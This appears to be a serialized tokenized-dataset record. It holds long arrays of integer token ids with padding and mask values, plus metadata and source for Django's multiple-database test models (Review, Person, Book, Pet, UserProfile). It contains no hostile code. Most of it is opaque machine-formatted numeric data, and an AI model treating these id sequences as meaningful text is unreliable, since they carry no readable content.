32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 570, 365, 1777, 402, 314, 603, 5757, 899, 10059, 199, 15002, 4178, 921, 1544, 14, 573, 3362, 4857, 14, 1308, 199, 15002, 199, 15002, 2900, 4481, 4644, 12, 1937, 5877, 367, 2615, 24488, 199, 15002, 4178, 921, 5031, 14, 957, 15, 344, 11326, 393, 371, 15, 573, 3362, 15, 6582, 15, 4133, 15, 32324, 5716, 199, 15002, 199, 15002, 3909, 1334, 32426, 499, 14, 17, 12, 8749, 1937, 5113, 367, 2436, 199, 15002, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 13, 18, 14, 17, 14, 1360, 199, 199, 624, 199, 10607, 5935, 367, 377, 1672, 12241, 3794, 14, 199, 1548, 3367, 1146, 63, 6480, 14, 647, 199, 624, 199, 646, 11144, 199, 646, 682, 528, 836, 199, 199, 354, 275, 283, 11477, 14, 69, 7, 199, 354, 275, 283, 280, 1146, 63, 6480, 63, 396, 63, 262, 14, 69, 7, 199, 692, 536, 508, 283, 11477, 14, 69, 356, 272, 734, 275, 283, 280, 1146, 63, 6480, 63, 1210, 14, 4524, 7, 199, 2836, 26, 272, 734, 275, 283, 280, 1146, 63, 6480, 63, 1199, 14, 4524, 7, 199, 199, 11928, 275, 11144, 14, 11919, 18425, 342, 199, 11928, 14, 1084, 2768, 1721, 2801, 16, 14, 18, 8138, 12, 378, 14, 24, 17814, 12, 446, 16, 14, 13818, 21, 9, 199, 11928, 14, 1084, 5625, 8, 1789, 14, 1342, 1020, 12, 7829, 14, 16, 14690, 12, 8087, 14, 1427, 2036, 9, 199, 11928, 14, 1084, 38, 24560, 3428, 8, 20, 14, 25, 13212, 12, 841, 14, 1165, 1082, 12, 959, 14, 1822, 1407, 9, 199, 199, 5503, 275, 682, 528, 836, 14, 476, 364, 527, 14, 920, 364, 527, 5929, 8, 354, 9, 199, 1099, 275, 682, 528, 836, 14, 476, 364, 527, 14, 920, 364, 527, 2889, 8, 5503, 12, 15177, 29, 11928, 12, 3164, 1524, 16, 12, 16, 14, 2426, 12, 16, 14, 2426, 467, 8207, 29, 549, 12, 6275, 63, 2326, 1524, 16, 12, 16, 12, 16, 566, 199, 199, 11599, 83, 275, 682, 528, 836, 14, 9923, 14, 6464, 20386, 8, 1099, 9, 199, 11599, 83, 14, 409, 4558, 360, 21854, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 11599, 83, 14, 409, 4558, 360, 23876, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 11599, 83, 14, 409, 4558, 360, 90, 3127, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 199, 3806, 275, 682, 528, 836, 14, 9216, 4301, 8, 1099, 12, 13675, 83, 12, 376, 1009, 2241, 316, 29, 21, 9, 199, 3806, 14, 409, 4558, 8, 890, 1524, 6683, 12, 6683, 467, 8020, 1524, 16, 14, 23, 24687, 8276, 10693, 845, 19335, 12, 378, 14, 23, 24687, 8276, 10693, 845, 19335, 12, 378, 14, 23, 24687, 8276, 10693, 845, 19335, 467, 8020, 18, 1524, 16, 14, 25337, 10693, 7362, 8557, 1717, 16456, 12, 378, 14, 25337, 10693, 7362, 8557, 1717, 16456, 12, 378, 14, 25337, 10693, 7362, 8557, 1717, 16456, 467, 6709, 63, 7451, 29, 549, 9, 199, 3806, 14, 873, 342, 199, 3806, 14, 3958, 18425, 342, 199, 3806, 14, 952, 8, 548, 9, 199, 3, 3806, 14, 928, 342, 199, 3, 1361, 1557, 78, 1370, 904, 8, 335, 528, 836, 14, 1208, 14, 1361, 63, 11928, 8, 1099, 14, 362, 8156, 43, 11355, 1252, 1002, 7472, 18425, 4059, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
bak1an/django
tests/multiple_database/models.py
70
2216
from django.contrib.auth.models import User from django.contrib.contenttypes.fields import ( GenericForeignKey, GenericRelation, ) from django.contrib.contenttypes.models import ContentType from django.db import models class Review(models.Model): source = models.CharField(max_length=100) content_type = models.ForeignKey(ContentType, models.CASCADE) object_id = models.PositiveIntegerField() content_object = GenericForeignKey() def __str__(self): return self.source class Meta: ordering = ('source',) class PersonManager(models.Manager): def get_by_natural_key(self, name): return self.get(name=name) class Person(models.Model): objects = PersonManager() name = models.CharField(max_length=100) def __str__(self): return self.name class Meta: ordering = ('name',) # This book manager doesn't do anything interesting; it just # exists to strip out the 'extra_arg' argument to certain # calls. This argument is used to establish that the BookManager # is actually getting used when it should be. class BookManager(models.Manager): def create(self, *args, extra_arg=None, **kwargs): return super().create(*args, **kwargs) def get_or_create(self, *args, extra_arg=None, **kwargs): return super().get_or_create(*args, **kwargs) class Book(models.Model): objects = BookManager() title = models.CharField(max_length=100) published = models.DateField() authors = models.ManyToManyField(Person) editor = models.ForeignKey(Person, models.SET_NULL, null=True, related_name='edited') reviews = GenericRelation(Review) pages = models.IntegerField(default=100) def __str__(self): return self.title class Meta: ordering = ('title',) class Pet(models.Model): name = models.CharField(max_length=100) owner = models.ForeignKey(Person, models.CASCADE) def __str__(self): return self.name class Meta: ordering = ('name',) class UserProfile(models.Model): user = models.OneToOneField(User, models.SET_NULL, null=True) flavor = models.CharField(max_length=100) class Meta: ordering = ('flavor',)
bsd-3-clause
[ 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 504, 1639, 14, 2828, 14, 10778, 14, 955, 492, 334, 272, 8307, 3190, 12, 8307, 12617, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 10778, 14, 992, 492, 14501, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 26705, 8, 992, 14, 1685, 304, 272, 1350, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 1564, 63, 466, 275, 1709, 14, 3190, 8, 11282, 12, 1709, 14, 10855, 9, 272, 909, 63, 344, 275, 1709, 14, 8591, 342, 272, 1564, 63, 785, 275, 8307, 3190, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1365, 339, 1021, 6288, 26, 267, 7794, 275, 661, 1365, 9538, 421, 199, 533, 8028, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 991, 63, 15759, 63, 498, 8, 277, 12, 536, 304, 267, 372, 291, 14, 362, 8, 354, 29, 354, 9, 421, 199, 533, 8028, 8, 992, 14, 1685, 304, 272, 2251, 275, 8028, 2988, 342, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 421, 199, 3, 961, 6719, 5256, 3181, 1133, 886, 7003, 19604, 27, 652, 2951, 199, 3, 3495, 370, 6202, 734, 314, 283, 2911, 63, 1273, 7, 1423, 370, 9842, 199, 3, 4882, 14, 961, 1423, 365, 1202, 370, 16873, 626, 314, 8944, 2988, 199, 3, 365, 5965, 10232, 1202, 1380, 652, 1077, 506, 14, 199, 533, 8944, 2988, 8, 992, 14, 2988, 304, 272, 347, 1218, 8, 277, 12, 627, 589, 12, 2402, 63, 1273, 29, 403, 12, 1011, 958, 304, 267, 372, 1613, 1252, 981, 2031, 589, 12, 1011, 958, 9, 339, 347, 664, 63, 269, 63, 981, 8, 277, 12, 627, 589, 12, 2402, 63, 1273, 29, 403, 12, 1011, 958, 304, 267, 372, 1613, 1252, 362, 63, 269, 63, 981, 2031, 589, 12, 1011, 958, 9, 421, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 2251, 275, 8944, 2988, 342, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 3267, 275, 1709, 14, 14071, 342, 272, 11462, 275, 1709, 14, 7624, 8, 7344, 9, 272, 8823, 275, 1709, 14, 3190, 8, 7344, 12, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 12, 4048, 63, 354, 534, 17642, 358, 272, 295, 4196, 275, 8307, 12617, 8, 21000, 9, 272, 6497, 275, 1709, 14, 3901, 8, 885, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 339, 1021, 6288, 26, 267, 7794, 275, 661, 1213, 9538, 421, 199, 533, 31449, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 5771, 275, 1709, 14, 3190, 8, 7344, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 421, 199, 533, 19037, 8, 992, 14, 1685, 304, 272, 922, 275, 1709, 14, 14298, 8, 1899, 12, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 9, 272, 8541, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 6081, 9538, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 504, 1639, 14, 2828, 14, 10778, 14, 955, 492, 334, 272, 8307, 3190, 12, 8307, 12617, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 10778, 14, 992, 492, 14501, 199, 504, 1639, 14, 697, 492, 1709, 421, 199, 533, 26705, 8, 992, 14, 1685, 304, 272, 1350, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 1564, 63, 466, 275, 1709, 14, 3190, 8, 11282, 12, 1709, 14, 10855, 9, 272, 909, 63, 344, 275, 1709, 14, 8591, 342, 272, 1564, 63, 785, 275, 8307, 3190, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1365, 339, 1021, 6288, 26, 267, 7794, 275, 661, 1365, 9538, 421, 199, 533, 8028, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 991, 63, 15759, 63, 498, 8, 277, 12, 536, 304, 267, 372, 291, 14, 362, 8, 354, 29, 354, 9, 421, 199, 533, 8028, 8, 992, 14, 1685, 304, 272, 2251, 275, 8028, 2988, 342, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 421, 199, 3, 961, 6719, 5256, 3181, 1133, 886, 7003, 19604, 27, 652, 2951, 199, 3, 3495, 370, 6202, 734, 314, 283, 2911, 63, 1273, 7, 1423, 370, 9842, 199, 3, 4882, 14, 961, 1423, 365, 1202, 370, 16873, 626, 314, 8944, 2988, 199, 3, 365, 5965, 10232, 1202, 1380, 652, 1077, 506, 14, 199, 533, 8944, 2988, 8, 992, 14, 2988, 304, 272, 347, 1218, 8, 277, 12, 627, 589, 12, 2402, 63, 1273, 29, 403, 12, 1011, 958, 304, 267, 372, 1613, 1252, 981, 2031, 589, 12, 1011, 958, 9, 339, 347, 664, 63, 269, 63, 981, 8, 277, 12, 627, 589, 12, 2402, 63, 1273, 29, 403, 12, 1011, 958, 304, 267, 372, 1613, 1252, 362, 63, 269, 63, 981, 2031, 589, 12, 1011, 958, 9, 421, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 2251, 275, 8944, 2988, 342, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 3267, 275, 1709, 14, 14071, 342, 272, 11462, 275, 1709, 14, 7624, 8, 7344, 9, 272, 8823, 275, 1709, 14, 3190, 8, 7344, 12, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 12, 4048, 63, 354, 534, 17642, 358, 272, 295, 4196, 275, 8307, 12617, 8, 21000, 9, 272, 6497, 275, 1709, 14, 3901, 8, 885, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 339, 1021, 6288, 26, 267, 7794, 275, 661, 1213, 9538, 421, 199, 533, 31449, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 5771, 275, 1709, 14, 3190, 8, 7344, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 421, 199, 533, 19037, 8, 992, 14, 1685, 304, 272, 922, 275, 1709, 14, 14298, 8, 1899, 12, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 9, 272, 8541, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 6081, 9538, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
